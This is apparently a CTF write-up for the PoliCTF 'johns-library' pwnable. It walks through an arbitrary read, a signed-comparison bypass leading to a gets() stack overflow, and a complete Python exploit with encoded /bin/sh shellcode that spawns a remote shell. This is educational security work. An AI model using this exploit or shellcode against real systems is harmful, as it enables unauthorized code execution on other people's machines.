Category: Pwnable Points: 150 Solves: 86 Description:
Do you like reading books? here we have the best collection ever! you can even save some books for future reading!! enjoy noob! library.polictf.it:80
GPG key: yowlijOshSuftEvawvIshgugdecWikBi
For this challenge, we're given a file named "johns-library". That is a 32-bit unstripped ELF file. Strings doesn't give us much info. Let's run it and see what happens.
Welcome to the jungle library mate! Try to escape!!
r - read from library
a - add element
u - exit
a
Hey mate! Insert how long is the book title:
4
TEST
r - read from library
a - add element
u - exit
r
Insert the index of the book you want to read: 0
TEST
From a practical standpoint, this app is useless because you need to know the index of the element. But the CTF wasn't about writing practical applications. I noted it wasn't stripped. Let's take a peek at the symbols:
$ objdump -t johns-library
johns-library: file format elf32-i386
SYMBOL TABLE:
08048154 l d .interp 00000000 .interp
08048168 l d .note.ABI-tag 00000000 .note.ABI-tag
08048188 l d .note.gnu.build-id 00000000 .note.gnu.build-id
080481ac l d .gnu.hash 00000000 .gnu.hash
080481d0 l d .dynsym 00000000 .dynsym
08048290 l d .dynstr 00000000 .dynstr
0804831a l d .gnu.version 00000000 .gnu.version
08048334 l d .gnu.version_r 00000000 .gnu.version_r
08048364 l d .rel.dyn 00000000 .rel.dyn
08048374 l d .rel.plt 00000000 .rel.plt
080483bc l d .init 00000000 .init
080483e0 l d .plt 00000000 .plt
08048480 l d .text 00000000 .text
08048804 l d .fini 00000000 .fini
08048818 l d .rodata 00000000 .rodata
08048924 l d .eh_frame_hdr 00000000 .eh_frame_hdr
08048968 l d .eh_frame 00000000 .eh_frame
08049f08 l d .init_array 00000000 .init_array
08049f0c l d .fini_array 00000000 .fini_array
08049f10 l d .jcr 00000000 .jcr
08049f14 l d .dynamic 00000000 .dynamic
08049ffc l d .got 00000000 .got
0804a000 l d .got.plt 00000000 .got.plt
0804a030 l d .data 00000000 .data
0804a040 l d .bss 00000000 .bss
00000000 l d .comment 00000000 .comment
00000000 l df *ABS* 00000000 crtstuff.c
08049f10 l O .jcr 00000000 __JCR_LIST__
080484c0 l F .text 00000000 deregister_tm_clones
080484f0 l F .text 00000000 register_tm_clones
08048530 l F .text 00000000 __do_global_dtors_aux
0804a044 l O .bss 00000001 completed.6590
08049f0c l O .fini_array 00000000 __do_global_dtors_aux_fini_array_entry
08048550 l F .text 00000000 frame_dummy
08049f08 l O .init_array 00000000 __frame_dummy_init_array_entry
00000000 l df *ABS* 00000000 chall.c
00000000 l df *ABS* 00000000 crtstuff.c
08048a74 l O .eh_frame 00000000 __FRAME_END__
08049f10 l O .jcr 00000000 __JCR_END__
00000000 l df *ABS* 00000000
08049f0c l .init_array 00000000 __init_array_end
08049f14 l O .dynamic 00000000 _DYNAMIC
08049f08 l .init_array 00000000 __init_array_start
0804a000 l O .got.plt 00000000 _GLOBAL_OFFSET_TABLE_
08048800 g F .text 00000002 __libc_csu_fini
0804a048 g O .bss 00000004 num
0804a060 g O .bss 00000200 len
00000000 w *UND* 00000000 _ITM_deregisterTMCloneTable
080484b0 g F .text 00000004 .hidden __x86.get_pc_thunk.bx
0804a030 w .data 00000000 data_start
00000000 F *UND* 00000000 printf@@GLIBC_2.0
00000000 F *UND* 00000000 fflush@@GLIBC_2.0
00000000 F *UND* 00000000 gets@@GLIBC_2.0
08048641 g F .text 00000067 read_from_library
00000000 F *UND* 00000000 getchar@@GLIBC_2.0
0804a038 g .data 00000000 _edata
08048804 g F .fini 00000000 _fini
080486a8 g F .text 000000c5 add_element_to_library
0804a030 g .data 00000000 __data_start
00000000 F *UND* 00000000 puts@@GLIBC_2.0
00000000 w *UND* 00000000 __gmon_start__
00000000 F *UND* 00000000 exit@@GLIBC_2.0
0804a034 g O .data 00000000 .hidden __dso_handle
0804881c g O .rodata 00000004 _IO_stdin_used
00000000 F *UND* 00000000 __libc_start_main@@GLIBC_2.0
0804876d g F .text 00000021 print_menu
08048790 g F .text 00000061 __libc_csu_init
0804a260 g .bss 00000000 _end
08048480 g F .text 00000000 _start
08048818 g O .rodata 00000004 _fp_hw
0804a040 g O .bss 00000004 stdout@@GLIBC_2.0
0804a038 g .bss 00000000 __bss_start
0804857d g F .text 000000c4 main
00000000 w *UND* 00000000 _Jv_RegisterClasses
00000000 F *UND* 00000000 __isoc99_scanf@@GLIBC_2.7
0804a038 g O .data 00000000 .hidden __TMC_END__
00000000 w *UND* 00000000 _ITM_registerTMCloneTable
080483bc g F .init 00000000 _init
So we have "main", "add_element_to_library", "num", "len", and "read_from_library". At this point I just started playing with the binary, throwing unusual data at it. The first question I had was the read appears to be index based, so what happens if I throw large numbers at it?
$ ./johns-library
Welcome to the jungle library mate! Try to escape!!
r - read from library
a - add element
u - exit
r
Insert the index of the book you want to read: 1000
Segmentation fault (core dumped)
Well there's a start. We did something outside of what we're supposed to do. Lets reproduce it in gdb to figure out what's going on.
Program received signal SIGSEGV, Segmentation fault.
0x0804867b in read_from_library ()
(gdb) bt
#0 0x0804867b in read_from_library ()
#1 0x08048614 in main ()
(gdb) x/10i $eip
=> 0x804867b <read_from_library+58>: mov eax,DWORD PTR [eax*4+0x804a060]
0x8048682 <read_from_library+65>: mov edx,eax
0x8048684 <read_from_library+67>: mov eax,DWORD PTR [ebp+0x8]
0x8048687 <read_from_library+70>: add eax,edx
0x8048689 <read_from_library+72>: mov DWORD PTR [esp+0x4],eax
0x804868d <read_from_library+76>: mov DWORD PTR [esp],0x8048893
0x8048694 <read_from_library+83>: call 0x80483f0 <printf@plt>
0x8048699 <read_from_library+88>: mov eax,ds:0x804a040
0x804869e <read_from_library+93>: mov DWORD PTR [esp],eax
0x80486a1 <read_from_library+96>: call 0x8048400 <fflush@plt>
(gdb) i r
eax 0x3e8 1000
ecx 0xa 10
edx 0xf7fb0adc -134542628
ebx 0xf7faf000 -134549504
esp 0xffffc990 0xffffc990
ebp 0xffffc9b8 0xffffc9b8
esi 0x0 0
edi 0x8048480 134513792
eip 0x804867b 0x804867b <read_from_library+58>
eflags 0x10246 [ PF ZF IF RF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
Ok. So we can see our "1000" value has appeared in eax. At the point of segfault, we're attempting to use eax as an index to dereference from a static point "0x804a060".
(gdb) x/1xw 0x804a060
0x804a060 <len>: 0x00000000
The static point is our len. Ok. So we're saving information about the length of something into an array, and using the use input as a reference. This looks like a memory leak opportunity. If we follow the execution through, we see that it takes that indexed value and adds it to "ebp+0x8". That value is on the stack and, when you run through the program with legit data, will come back as your initial value.
Initially, I stopped at that point and looked for a write. However, it turns out that even with RELRO mostly disabled, the location of the stack was too volatile to guess a location and use a NOPsled. With that said, let's look at how we can utilize this. As it stands, we can dereference a point that will control what we actually print. We're not controlling directly what we print, we have to find a reference to it. But, we do control "len", which is what we're performing math on. With that in mind, lets play around with changing that value.
Welcome to the jungle library mate! Try to escape!!
r - read from library
a - add element
u - exit
a
Hey mate! Insert how long is the book title:
42
TEST
r - read from library
a - add element
u - exit
r
Insert the index of the book you want to read: 1
Breakpoint 1, 0x0804867b in read_from_library ()
0x08048682 in read_from_library ()
=> 0x8048682 <read_from_library+65>: mov edx,eax
0x8048684 <read_from_library+67>: mov eax,DWORD PTR [ebp+0x8]
0x8048687 <read_from_library+70>: add eax,edx
0x8048689 <read_from_library+72>: mov DWORD PTR [esp+0x4],eax
0x804868d <read_from_library+76>: mov DWORD PTR [esp],0x8048893
0x8048694 <read_from_library+83>: call 0x80483f0 <printf@plt>
0x8048699 <read_from_library+88>: mov eax,ds:0x804a040
0x804869e <read_from_library+93>: mov DWORD PTR [esp],eax
0x80486a1 <read_from_library+96>: call 0x8048400 <fflush@plt>
0x80486a6 <read_from_library+101>: leave
eax 0x2b 43
ecx 0xa 10
edx 0xf7fb0adc -134542628
ebx 0xf7faf000 -134549504
esp 0xffffc990 0xffffc990
ebp 0xffffc9b8 0xffffc9b8
esi 0x0 0
edi 0x8048480 134513792
eip 0x8048682 0x8048682 <read_from_library+65>
eflags 0x246 [ PF ZF IF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
Try it a few more times to satisfy your curiosity, but the "len" field we control by telling the application how long our input is. This field appears to be more of a running tally than anything. Also note that our value ends up being our value + 1 (eax == 43 not 42). You can try negative values for the length of the book now as well and see those work.
An arbitrary read is great, but it looks like we're supposed to gain execution. Let's take a look at what the add book procedure looks like:
function add_element_to_library {
puts("Hey mate! Insert how long is the book title: ");
eax = *stdout@@GLIBC_2.0;
fflush(eax);
__isoc99_scanf(0x8048890, var_C);
getchar();
if (var_C + *(*num * 0x4 + 0x804a060) > 0x400) {
puts("Hey you! what are you trying to do??");
eax = *stdout@@GLIBC_2.0;
fflush(eax);
eax = exit(0xffffffff);
}
else {
*num = *num + 0x1;
eax = *num;
eax = *((eax - 0x1) * 0x4 + 0x804a060);
gets(arg0 + eax);
eax = *num;
*(eax * 0x4 + 0x804a060) = var_C + *((*num - 0x1) * 0x4 + 0x804a060) + 0x1;
}
return eax;
}
That first if statement is interesting. It's looking for too large of a value. This is likely because we're adding this data to the stack and it is "trying" to stop us from writing too much. However, the relevant assembly looks like this:
080486f0 cmp eax, 0x400
080486f5 jle 0x804871c
As you can see, it uses jle, which means that it's treating this number as a signed integer. Therefore, we can use negative values and effectively trick the application into thinking we're not being naughty. With this in mind, I tried throwing different data at the app and quickly found the following:
Welcome to the jungle library mate! Try to escape!!
r - read from library
a - add element
u - exit
a
Hey mate! Insert how long is the book title:
-500
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
r - read from library
a - add element
u - exit
a
Hey mate! Insert how long is the book title:
-500
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)
That's me telling the application that my string is -500 and I'm giving it 1024 "A" characters. Gdb tells us the following:
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
Cool. So we have control over EIP now. The next question is where in all those "A" characters is the return that we're finding? For this, I found a neat script written by Sven Steinbauer. Replacing the "A" strings with the pattern, we find the location of our EIP.
Let's take a peek at the security controls in place:
checksec.sh --file johns-library
RELRO STACK CANARY NX PIE RPATH RUNPATH FILE
Partial RELRO No canary found NX disabled No PIE No RPATH No RUNPATH johns-library
Basically they turned everything off. So we have a place to store our shellcode, an over wright, and an arbitrary read. I initially got the exploit to work reliably in gdb using the known shellcode address and a NOPsled. However, I didn't realize just how wildly those addresses would change from run to run, so exploiting something NOT in gdb ended up being problematic. This is where the arbitrary read comes in.
If we can first leak the location of the shellcode, then add that location into the exploit without closing the connection, we can know exactly where to set our return to. There are numerous ways accomplish this, I chose to go with utilizing the python bindings in gdb and have python try options until we find a good read location.
Remembering that our arbitrary read actually involves a write first, this is accomplished by trying a bunch of different values for the integer and checking if the dereferenced value is what we want. Here's the code:
# Set the break point gdb.execute("break *0x08048689") # Goal is our known input address. If this was dynamic we could similarly determine it at runtime. goal = "0xffffc9db"
f = open("possibilities","w")
write = 0
while True: # Try an integer value
t = 'a\n{0}\n{1}\nr\n1\n'.format(write,"A")
gdb.execute("r <<< \"\"\"{0}\"\"\" ".format(t),False) # Check our eax value x = gdb.execute("x/1xw $eax",False,True).split(":")[1]
print(x) # If our eax value is our goal value, save it
if goal in x:
f.write("Possible solution:\n\twrite = {0}\n\tNumber = {1}\n".format(write,x))
f.flush()
write -= 1
f.close()
Run this for a couple seconds and you find that a size of -28 will allow you to leak the address of our input. Add this into our exploit, we get the following procedure:
- Leak address using -28 offset
- Update exploit code with address
- Send exploit payloads
Because we're adding another input step, the location of our EIP changed in our input. Just do the same procedure as before to find the new offset. It just happens to be 271 now. Note that because this application runs on the console, it would appear that the server is simply directing the input and output of the network connection to program. What this means for our exploit is, we can use really simply exeve /bin/sh shellcode and not have to worry about calling back, calling it, etc. You can find many forms of this shellcode around the internet. The one "gotcha" with this shellcode is that because we're using the "gets" call, we cannot have \x0a or \x0d as those are line returns and will generally stop input. That said, I just used a ROT13 encoded version to get around that, but again, there are many many versions that will work.
Here's what my exploit code is. Please note, I use a dorked version of telnetlib.py to remove the control characters. To me, it's just quicker and easier to the telnetlib than actual sock calls.
#!/usr/bin/python2 -u
import telnetlib
from struct import unpack
import sys
HOST = "library.polictf.it"
PORT = 80
SHELLCODE = "\xeb\x24\x5e\x31\xc9\xb1\x19\x80\x3e\x0d\x7c\x05\x80\x2e\x0d\xeb\x10\x31\xd2\xb2\x0d\x2a\x16\x31\xdb\xb3\xff\x43\x66\x29\xd3\x88\x1e\x46\xe2\xe3\xeb\x05\xe8\xd7\xff\xff\xff\x3e\xcd\x5d\x75\x3c\x3c\x80\x75\x75\x3c\x6f\x76\x7b\x96\xf0\x5d\x96\xef\x60\x96\xee\xbd\x18\xda\x8d"
exploit1 = "a\n-28\n" + "\x90"*1024 + "\n"
exploit2 = "a\n-500\n" + "\x90"*(1024 - len(SHELLCODE)) + SHELLCODE +"\n"
sys.stdout.write("Connecting ... ")
tn = telnetlib.Telnet(HOST,PORT)
sys.stdout.write("DONE!\n")
#tn.set_debuglevel(10)
def read():
return tn.read_until(":::",0.5)
def leakRET():
read()
tn.write(exploit1)
read()
tn.write("r\n")
read()
tn.write("1\n")
RET = read()[:4]
sys.stdout.write("{0}\n".format(hex(unpack("<I",RET)[0])))
return RET
sys.stdout.write("Leaking shellcode address ... ")
# Find where our code will be
RET = leakRET()
sys.stdout.write("Sending Exploit ... ")
tn.write(exploit2)
read()
# Build our exploit with the proper return address
exploit3 = "a\n-500\n" + b"\x90"*271 + RET + "\n"
# Exploit it
tn.write(exploit3)
# Clear the crap
read()
sys.stdout.write("DONE!\n")
# Interact with our shiny new shell!
tn.interact()
Executing, we find the following:
$ ./exploit.py
Connecting ... DONE!
Leaking shellcode address ... 0xff97798b
Sending Exploit ... DONE!
cat /home/ctf/flag
flag{John_should_read_a_real_book_on_s3cur3_pr0gr4mm1ng}